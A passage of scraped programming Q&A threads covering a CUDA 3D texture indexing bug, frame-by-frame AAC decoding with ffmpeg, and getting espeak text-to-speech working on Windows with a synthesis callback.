path = sdkFindFilePath(volumeFilename, exec_path);
}
else
{
path = PathToFile;
}
if (path == NULL)
{
fprintf(stderr, "Error unable to find 3D Volume file: '%s'\n", volumeFilename);
exit(EXIT_FAILURE);
}
// Allocate output memory
checkCudaErrors(cudaMalloc((void **)&d_output, width*height*depth*sizeof(uchar)));
// zero out the output array with cudaMemset
cudaMemset(d_output, 0, width*height*depth*sizeof(uchar));
// render the volumeData
render_kernel(gridSize, blockSize, d_output, width, height, depth);
checkCudaErrors(cudaDeviceSynchronize());
getLastCudaError("render_kernel failed");
uchar *h_output = (uchar*)malloc(width*height*depth);
checkCudaErrors(cudaMemcpy(h_output, d_output, width*height*depth*sizeof(uchar), cudaMemcpyDeviceToHost));
int wState=writeRawFile(path,h_output,width*height*depth);
checkCudaErrors(cudaFree(d_output));
free(h_output);
// cudaDeviceReset causes the driver to clean up all state. While
// not mandatory in normal operation, it is good practice. It is also
// needed to ensure correct operation when the application is being
// profiled. Calling cudaDeviceReset causes all profile data to be
// flushed before the application exits
cudaDeviceReset();
//exit(bTestResult ? EXIT_SUCCESS : EXIT_FAILURE);
}
void loadVolumeData(char *exec_path, char *PathToFile)
{
char *path;
// load volume data
if (PathToFile == NULL)
{
path = sdkFindFilePath(volumeFilename, exec_path);
}
else
{
path = PathToFile;
}
if (path == NULL)
{
fprintf(stderr, "Error unable to find 3D Volume file: '%s'\n", volumeFilename);
exit(EXIT_FAILURE);
}
size_t size = volumeSize.width*volumeSize.height*volumeSize.depth;
uchar *h_volume = loadRawFile(path, size);
//int wState=writeRawFile(path,h_volume,size);
initCuda(h_volume, volumeSize);
free(h_volume);
}
////////////////////////////////////////////////////////////////////////////////
// Program main
////////////////////////////////////////////////////////////////////////////////
int
main(int argc, char **argv)
{
pArgc = &argc;
pArgv = argv;
char *image_file = NULL;
printf("%s Starting...\n\n", sSDKsample);
if (checkCmdLineFlag(argc, (const char **)argv, "file")) //Note cmd line argument is -file "PathToFile/File.raw"
{ // for example -file "C:\ProgramData\NVIDIA Corporation\CUDA Samples\v7.0\2_Graphics\simpleTexture3D_FanBeamCorr\data\TestOCT_Kopie.raw"
getCmdLineArgumentString(argc, (const char **)argv, "file", &image_file);
}
if (image_file)
{
chooseCudaDevice(argc, argv);
loadVolumeData(argv[0],image_file);
runAutoTest(argv[0],image_file);
}
else
{
// use command-line specified CUDA device, otherwise use device with highest Gflops/s
chooseCudaDevice(argc, argv);
loadVolumeData(argv[0],NULL);
runAutoTest(argv[0],NULL);
}
printf("I am finished...\n"
"Can I get some ice cream please\n");
exit(EXIT_SUCCESS);
}
And this is my .cu
#ifndef _SIMPLETEXTURE3D_KERNEL_CU_
#define _SIMPLETEXTURE3D_KERNEL_CU_
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <helper_cuda.h>
#include <helper_math.h>
typedef unsigned int uint;
typedef unsigned char uchar;
texture<uchar, 3, cudaReadModeNormalizedFloat> tex; // 3D texture
cudaArray *d_volumeArray = 0;
__global__ void
d_render(uint *d_output, uint imageW, uint imageH, uint imageD)
{
uint x = __umul24(blockIdx.x, blockDim.x) + threadIdx.x;
uint y = __umul24(blockIdx.y, blockDim.y) + threadIdx.y;
uint z = __umul24(blockIdx.z, blockDim.z) + threadIdx.z;
// float u = x / (float) imageW;
// float v = y / (float) imageH;
//float w = z / (float) imageD;
// // read from 3D texture
// float voxel = tex3D(tex, u, v, w);
uint ps=__umul24(imageW,imageH);
if ((x < imageW) && (y < imageH) && (z < imageD))
{
// write output color
uint i = __umul24(z,ps) +__umul24(y, imageW) + x;
d_output[1] = (uchar) 255;//+0*voxel*255;
}
}
extern "C"
void initCuda(const uchar *h_volume, cudaExtent volumeSize)
{
// create 3D array
cudaChannelFormatDesc channelDesc = cudaCreateChannelDesc<uchar>();
checkCudaErrors(cudaMalloc3DArray(&d_volumeArray, &channelDesc, volumeSize));
// copy data to 3D array
cudaMemcpy3DParms copyParams = {0};
copyParams.srcPtr = make_cudaPitchedPtr((void *)h_volume, volumeSize.width*sizeof(uchar), volumeSize.width, volumeSize.height);
copyParams.dstArray = d_volumeArray;
copyParams.extent = volumeSize;
copyParams.kind = cudaMemcpyHostToDevice;
checkCudaErrors(cudaMemcpy3D(&copyParams));
// set texture parameters
tex.normalized = true; // access with normalized texture coordinates
tex.filterMode = cudaFilterModeLinear; // linear interpolation
tex.addressMode[0] = cudaAddressModeBorder; // wrap texture coordinates
tex.addressMode[1] = cudaAddressModeBorder;
tex.addressMode[2] = cudaAddressModeBorder;
// bind array to 3D texture
checkCudaErrors(cudaBindTextureToArray(tex, d_volumeArray, channelDesc));
}
extern "C"
void render_kernel(dim3 gridSize, dim3 blockSize, uint *d_output, uint imageW, uint imageH, uint imageD)
{
d_render<<<gridSize, blockSize>>>(d_output, imageW, imageH, imageD);
}
#endif // #ifndef _SIMPLETEXTURE3D_KERNEL_CU_
As you can see, currently, I set all values to zero except the index = 1, which is set to 255. Yet when I now open the image stack in Fiji, I see that the fourth pixel on the first slide is white. If I use index=i instead, I get white vertical lines across the image stack periodically every four columns. Generally spoken, it seems that only every fourth element is beeing indexed in the CudaArray. So I am wondering if there is somekind of error here resulting from sizeof(uchar)=1 and sizeof(uint)=4. There would obviously be the factor 4 :)
I am eager to here from you experts
Cheers Mika
I figured it out by myself. The kernel works with uint* d_output while the copy to the host is written into a uchar* h_output
uchar *h_output = (uchar*)malloc(width*height*depth);
checkCudaErrors(cudaMemcpy(h_output, d_output, width*height*depth*sizeof(uchar), cudaMemcpyDeviceToHost));
This led to this strange behavior

How to decode one AAC frame at a time using C++?

I want to decode a stream of AAC frames continuously, one frame at a time.
I went through the ffmpeg examples (The correct answer doesn't need to make use of ffmpeg necessarily), and I only found examples using complete AAC files and batch algorithms. But I want to decode a continuous AAC stream. How can I do this?
UPDATE: Following the comments and Decode AAC to PCM with ffmpeg on android , I was able to decode to PCM using ffmpeg, however the output is very metallic and noisy. What am I doing wrong here when calling this method for each AAC frame:
...
/*loop that receives frame in buffer*/
while(1){
/*receive frame*/
input = receive_one_buffer();
/*decode frame*/
decodeBuffer(input,strlen(input),Outfile);
}
...
/*decode frame*/
void decodeBuffer(char * input, int numBytes, ofstream& Outfile) {
/*"input" contains one AAC-LC frame*/
//copy bytes from buffer
uint8_t inputBytes[numBytes + FF_INPUT_BUFFER_PADDING_SIZE];
memset(inputBytes, 0, numBytes + FF_INPUT_BUFFER_PADDING_SIZE);
memcpy(inputBytes, input, numBytes);
av_register_all();
AVCodec *codec = avcodec_find_decoder(CODEC_ID_AAC);
AVCodecContext *avCtx = avcodec_alloc_context();
avCtx->channels = 1;
avCtx->sample_rate = 44100;
//the input buffer
AVPacket avPacket;
av_init_packet(&avPacket);
avPacket.size = numBytes; //input buffer size
avPacket.data = inputBytes; // the input buffer
int outSize;
int len;
uint8_t *outbuf = static_cast<uint8_t *>(malloc(AVCODEC_MAX_AUDIO_FRAME_SIZE));
while (avPacket.size > 0) {
outSize = AVCODEC_MAX_AUDIO_FRAME_SIZE;
len = avcodec_decode_audio3(avCtx, (short *) outbuf, &outSize,
&avPacket);
Outfile.write((char*)outbuf, outSize);
avPacket.size -= len;
avPacket.data += len;
}
av_free_packet(&avPacket);
avcodec_close(avCtx);
//av_free(avCtx);
return;
}
You have to keep the decoder alive between subsequent decode calls.
The AAC decoder must decode the previous buffer to be correctly "primed".
Please check for details:
https://developer.apple.com/library/mac/technotes/tn2258/_index.html
The following code assumes that the "ReceiveBuffer" function returns exactly one
complete AAC access unit.
(BTW: you can't use strlen on a binary buffer; you'll get the distance to the first zero and not the buffer length)
#include <iostream>
#include <fstream>
#include "libavcodec\avcodec.h"
#include "libavformat\avformat.h"
#include "libavdevice\avdevice.h"
#include "libavfilter\avfilter.h"
AVCodecContext * CreateContext()
{
av_register_all();
AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_AAC);
AVCodecContext *avCtx = avcodec_alloc_context3(codec);
return avCtx;
}
int32_t DecodeBuffer
(
std::ostream & output,
uint8_t * pInput,
uint32_t cbInputSize,
AVCodecContext * pAVContext
)
{
int32_t cbDecoded = 0;
//the input buffer
AVPacket avPacket;
av_init_packet(&avPacket);
avPacket.size = cbInputSize; //input buffer size
avPacket.data = pInput; // the input bufferra
AVFrame * pDecodedFrame = av_frame_alloc();
int nGotFrame = 0;
cbDecoded = avcodec_decode_audio4( pAVContext,
pDecodedFrame,
& nGotFrame,
& avPacket);
int data_size = av_samples_get_buffer_size( NULL,
pAVContext->channels,
pDecodedFrame->nb_samples,
pAVContext->sample_fmt,
1);
output.write((const char*)pDecodedFrame->data[0],data_size);
av_frame_free(&pDecodedFrame);
return cbDecoded;
}
uint8_t * ReceiveBuffer( uint32_t * cbBufferSize)
{
// TODO implement
return NULL;
}
int main
(
int argc,
char *argv[]
)
{
int nResult = 0;
AVCodecContext * pAVContext = CreateContext();
std::ofstream myOutputFile("audio.pcm",std::ios::binary);
while(1)
{
uint32_t cbBufferSize = 0;
uint8_t *pCompressedAudio = ReceiveBuffer( &cbBufferSize);
if(cbBufferSize && pCompressedAudio)
{
DecodeBuffer( myOutputFile,
pCompressedAudio,
cbBufferSize,
pAVContext);
}
else
{
break;
}
}
avcodec_close(pAVContext);
av_free(pAVContext);
return nResult;
}

Espeak SAPI/dll usage on Windows?

Question: I am trying to use the espeak text-to-speech engine.
So for I got it working wounderfully on linux (code below).
Now I wanted to port this basic program to windows, too, but it's nearly impossible...
Part of the problem is that the windows dll only allows for AUDIO_OUTPUT_SYNCHRONOUS, which means it requires a callback, but I can't figure out how to play the audio from the callback... First it crashed, then I realized, I need a callback function, now I get the data in the callback function, but I don't know how to play it... as it is neither a wav file nor plays automatically as on Linux.
The sourceforge site is rather useless, because it basically says use the SAPI version, but then there is no example on how to use the sapi espeak dll...
Anyway, here's my code, can anybody help?
#ifdef __cplusplus
#include <cstdio>
#include <cstdlib>
#include <cstring>
#else
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#endif
#include <assert.h>
#include <ctype.h>
//#include "speak_lib.h"
#include "espeak/speak_lib.h"
// libespeak-dev: /usr/include/espeak/speak_lib.h
// apt-get install libespeak-dev
// apt-get install libportaudio-dev
// g++ -o mine mine.cpp -lespeak
// g++ -o mine mine.cpp -I/usr/include/espeak/ -lespeak
// gcc -o mine mine.cpp -I/usr/include/espeak/ -lespeak
char voicename[40];
int samplerate;
int quiet = 0;
static char genders[4] = {' ','M','F',' '};
//const char *data_path = "/usr/share/"; // /usr/share/espeak-data/
const char *data_path = NULL; // use default path for espeak-data
int strrcmp(const char *s, const char *sub)
{
int slen = strlen(s);
int sublen = strlen(sub);
return memcmp(s + slen - sublen, sub, sublen);
}
char * strrcpy(char *dest, const char *source)
{
// Pre assertions
assert(dest != NULL);
assert(source != NULL);
assert(dest != source);
// tk: parentheses
while((*dest++ = *source++))
;
return(--dest);
}
const char* GetLanguageVoiceName(const char* pszShortSign)
{
#define LANGUAGE_LENGTH 30
static char szReturnValue[LANGUAGE_LENGTH] ;
memset(szReturnValue, 0, LANGUAGE_LENGTH);
for (int i = 0; pszShortSign[i] != '\0'; ++i)
szReturnValue[i] = (char) tolower(pszShortSign[i]);
const espeak_VOICE **voices;
espeak_VOICE voice_select;
voices = espeak_ListVoices(NULL);
const espeak_VOICE *v;
for(int ix=0; (v = voices[ix]) != NULL; ix++)
{
if( !strrcmp( v->languages, szReturnValue) )
{
strcpy(szReturnValue, v->name);
return szReturnValue;
}
} // End for
strcpy(szReturnValue, "default");
return szReturnValue;
} // End function getvoicename
void ListVoices()
{
const espeak_VOICE **voices;
espeak_VOICE voice_select;
voices = espeak_ListVoices(NULL);
const espeak_VOICE *v;
for(int ix=0; (v = voices[ix]) != NULL; ix++)
{
printf("Shortsign: %s\n", v->languages);
printf("age: %d\n", v->age);
printf("gender: %c\n", genders[v->gender]);
printf("name: %s\n", v->name);
printf("\n\n");
} // End for
} // End function getvoicename
int main()
{
printf("Hello World!\n");
const char* szVersionInfo = espeak_Info(NULL);
printf("Espeak version: %s\n", szVersionInfo);
samplerate = espeak_Initialize(AUDIO_OUTPUT_PLAYBACK,0,data_path,0);
strcpy(voicename, "default");
// espeak --voices
strcpy(voicename, "german");
strcpy(voicename, GetLanguageVoiceName("DE"));
if(espeak_SetVoiceByName(voicename) != EE_OK)
{
printf("Espeak setvoice error...\n");
}
static char word[200] = "Hello World" ;
strcpy(word, "TV-fäns aufgepasst, es ist 20 Uhr 15. Zeit für Rambo 3");
strcpy(word, "Unnamed Player wurde zum Opfer von GSG9");
int speed = 220;
int volume = 500; // volume in range 0-100 0=silence
int pitch = 50; // base pitch, range 0-100. 50=normal
// espeak.cpp 625
espeak_SetParameter(espeakRATE, speed, 0);
espeak_SetParameter(espeakVOLUME,volume,0);
espeak_SetParameter(espeakPITCH,pitch,0);
// espeakRANGE: pitch range, range 0-100. 0-monotone, 50=normal
// espeakPUNCTUATION: which punctuation characters to announce:
// value in espeak_PUNCT_TYPE (none, all, some),
espeak_VOICE *voice_spec = espeak_GetCurrentVoice();
voice_spec->gender=2; // 0=none 1=male, 2=female,
//voice_spec->age = age;
espeak_SetVoiceByProperties(voice_spec);
espeak_Synth( (char*) word, strlen(word)+1, 0, POS_CHARACTER, 0, espeakCHARS_AUTO, NULL, NULL);
espeak_Synchronize();
strcpy(voicename, GetLanguageVoiceName("EN"));
espeak_SetVoiceByName(voicename);
strcpy(word, "Geany was fragged by GSG9 Googlebot");
strcpy(word, "Googlebot");
espeak_Synth( (char*) word, strlen(word)+1, 0, POS_CHARACTER, 0, espeakCHARS_AUTO, NULL, NULL);
espeak_Synchronize();
espeak_Terminate();
printf("Espeak terminated\n");
return EXIT_SUCCESS;
}
/*
if(espeak_SetVoiceByName(voicename) != EE_OK)
{
memset(&voice_select,0,sizeof(voice_select));
voice_select.languages = voicename;
if(espeak_SetVoiceByProperties(&voice_select) != EE_OK)
{
fprintf(stderr,"%svoice '%s'\n",err_load,voicename);
exit(2);
}
}
*/
The above code is for Linux.
The below code is about as far as I got on Vista x64 (32 bit emu):
#ifdef __cplusplus
#include <cstdio>
#include <cstdlib>
#include <cstring>
#else
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#endif
#include <assert.h>
#include <ctype.h>
#include "speak_lib.h"
//#include "espeak/speak_lib.h"
// libespeak-dev: /usr/include/espeak/speak_lib.h
// apt-get install libespeak-dev
// apt-get install libportaudio-dev
// g++ -o mine mine.cpp -lespeak
// g++ -o mine mine.cpp -I/usr/include/espeak/ -lespeak
// gcc -o mine mine.cpp -I/usr/include/espeak/ -lespeak
char voicename[40];
int iSampleRate;
int quiet = 0;
static char genders[4] = {' ','M','F',' '};
//const char *data_path = "/usr/share/"; // /usr/share/espeak-data/
//const char *data_path = NULL; // use default path for espeak-data
const char *data_path = "C:\\Users\\Username\\Desktop\\espeak-1.43-source\\espeak-1.43-source\\";
int strrcmp(const char *s, const char *sub)
{
int slen = strlen(s);
int sublen = strlen(sub);
return memcmp(s + slen - sublen, sub, sublen);
}
char * strrcpy(char *dest, const char *source)
{
// Pre assertions
assert(dest != NULL);
assert(source != NULL);
assert(dest != source);
// tk: parentheses
while((*dest++ = *source++))
;
return(--dest);
}
const char* GetLanguageVoiceName(const char* pszShortSign)
{
#define LANGUAGE_LENGTH 30
static char szReturnValue[LANGUAGE_LENGTH] ;
memset(szReturnValue, 0, LANGUAGE_LENGTH);
for (int i = 0; pszShortSign[i] != '\0'; ++i)
szReturnValue[i] = (char) tolower(pszShortSign[i]);
const espeak_VOICE **voices;
espeak_VOICE voice_select;
voices = espeak_ListVoices(NULL);
const espeak_VOICE *v;
for(int ix=0; (v = voices[ix]) != NULL; ix++)
{
if( !strrcmp( v->languages, szReturnValue) )
{
strcpy(szReturnValue, v->name);
return szReturnValue;
}
} // End for
strcpy(szReturnValue, "default");
return szReturnValue;
} // End function getvoicename
void ListVoices()
{
const espeak_VOICE **voices;
espeak_VOICE voice_select;
voices = espeak_ListVoices(NULL);
const espeak_VOICE *v;
for(int ix=0; (v = voices[ix]) != NULL; ix++)
{
printf("Shortsign: %s\n", v->languages);
printf("age: %d\n", v->age);
printf("gender: %c\n", genders[v->gender]);
printf("name: %s\n", v->name);
printf("\n\n");
} // End for
} // End function getvoicename
/* Callback from espeak. Directly speaks using AudioTrack. */
#define LOGI(x) printf("%s\n", x)
static int AndroidEspeakDirectSpeechCallback(short *wav, int numsamples, espeak_EVENT *events)
{
char buf[100];
sprintf(buf, "AndroidEspeakDirectSpeechCallback: %d samples", numsamples);
LOGI(buf);
if (wav == NULL)
{
LOGI("Null: speech has completed");
}
if (numsamples > 0)
{
//audout->write(wav, sizeof(short) * numsamples);
sprintf(buf, "AudioTrack wrote: %d bytes", sizeof(short) * numsamples);
LOGI(buf);
}
return 0; // continue synthesis (1 is to abort)
}
static int AndroidEspeakSynthToFileCallback(short *wav, int numsamples,espeak_EVENT *events)
{
char buf[100];
sprintf(buf, "AndroidEspeakSynthToFileCallback: %d samples", numsamples);
LOGI(buf);
if (wav == NULL)
{
LOGI("Null: speech has completed");
}
// The user data should contain the file pointer of the file to write to
//void* user_data = events->user_data;
FILE* user_data = fopen ( "myfile1.wav" , "ab" );
FILE* fp = static_cast<FILE *>(user_data);
// Write all of the samples
fwrite(wav, sizeof(short), numsamples, fp);
return 0; // continue synthesis (1 is to abort)
}
int main()
{
printf("Hello World!\n");
const char* szVersionInfo = espeak_Info(NULL);
printf("Espeak version: %s\n", szVersionInfo);
iSampleRate = espeak_Initialize(AUDIO_OUTPUT_SYNCHRONOUS, 4096, data_path, 0);
if (iSampleRate <= 0)
{
printf("Unable to initialize espeak");
return EXIT_FAILURE;
}
//samplerate = espeak_Initialize(AUDIO_OUTPUT_PLAYBACK,0,data_path,0);
//ListVoices();
strcpy(voicename, "default");
// espeak --voices
//strcpy(voicename, "german");
//strcpy(voicename, GetLanguageVoiceName("DE"));
if(espeak_SetVoiceByName(voicename) != EE_OK)
{
printf("Espeak setvoice error...\n");
}
static char word[200] = "Hello World" ;
strcpy(word, "TV-fäns aufgepasst, es ist 20 Uhr 15. Zeit für Rambo 3");
strcpy(word, "Unnamed Player wurde zum Opfer von GSG9");
int speed = 220;
int volume = 500; // volume in range 0-100 0=silence
int pitch = 50; // base pitch, range 0-100. 50=normal
// espeak.cpp 625
espeak_SetParameter(espeakRATE, speed, 0);
espeak_SetParameter(espeakVOLUME,volume,0);
espeak_SetParameter(espeakPITCH,pitch,0);
// espeakRANGE: pitch range, range 0-100. 0-monotone, 50=normal
// espeakPUNCTUATION: which punctuation characters to announce:
// value in espeak_PUNCT_TYPE (none, all, some),
//espeak_VOICE *voice_spec = espeak_GetCurrentVoice();
//voice_spec->gender=2; // 0=none 1=male, 2=female,
//voice_spec->age = age;
//espeak_SetVoiceByProperties(voice_spec);
//espeak_SetSynthCallback(AndroidEspeakDirectSpeechCallback);
espeak_SetSynthCallback(AndroidEspeakSynthToFileCallback);
unsigned int unique_identifier;
espeak_ERROR err = espeak_Synth( (char*) word, strlen(word)+1, 0, POS_CHARACTER, 0, espeakCHARS_AUTO, &unique_identifier, NULL);
err = espeak_Synchronize();
/*
strcpy(voicename, GetLanguageVoiceName("EN"));
espeak_SetVoiceByName(voicename);
strcpy(word, "Geany was fragged by GSG9 Googlebot");
strcpy(word, "Googlebot");
espeak_Synth( (char*) word, strlen(word)+1, 0, POS_CHARACTER, 0, espeakCHARS_AUTO, NULL, NULL);
espeak_Synchronize();
*/
// espeak_Cancel();
espeak_Terminate();
printf("Espeak terminated\n");
system("pause");
return EXIT_SUCCESS;
}
Have you tried passing the buffer you obtain in your callback to sndplaysnd()??
Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Its standard winAPI is as follows:
sndPlaySound(buffer[0], SND_ASYNC | SND_MEMORY)
Alternately, if you have a wav-file that has the audio to play:
sndPlaySound(filename, SND_ASYNC)
playsound has a ASYNC mode that wouldn't block your program's execution while the audio is being played.
NOTE: I have used it in VB and the above snippets are for use in VB. If you are coding in VC++, you might have to modify them accordingly. But the basic intention remains the same; to pass the buffer to sndPlaySound with the ASYNC flag set.
Good LUCK!!
Several changes in source code are needed to make the windows library have the same functionality as the one on Linux. I listed the changes here. The ready to use binary is also available.
All the patches and the description were also sent to espeak maintainer (publicly, through the mailing list and patches tracker), so maybe in future it will be available directly.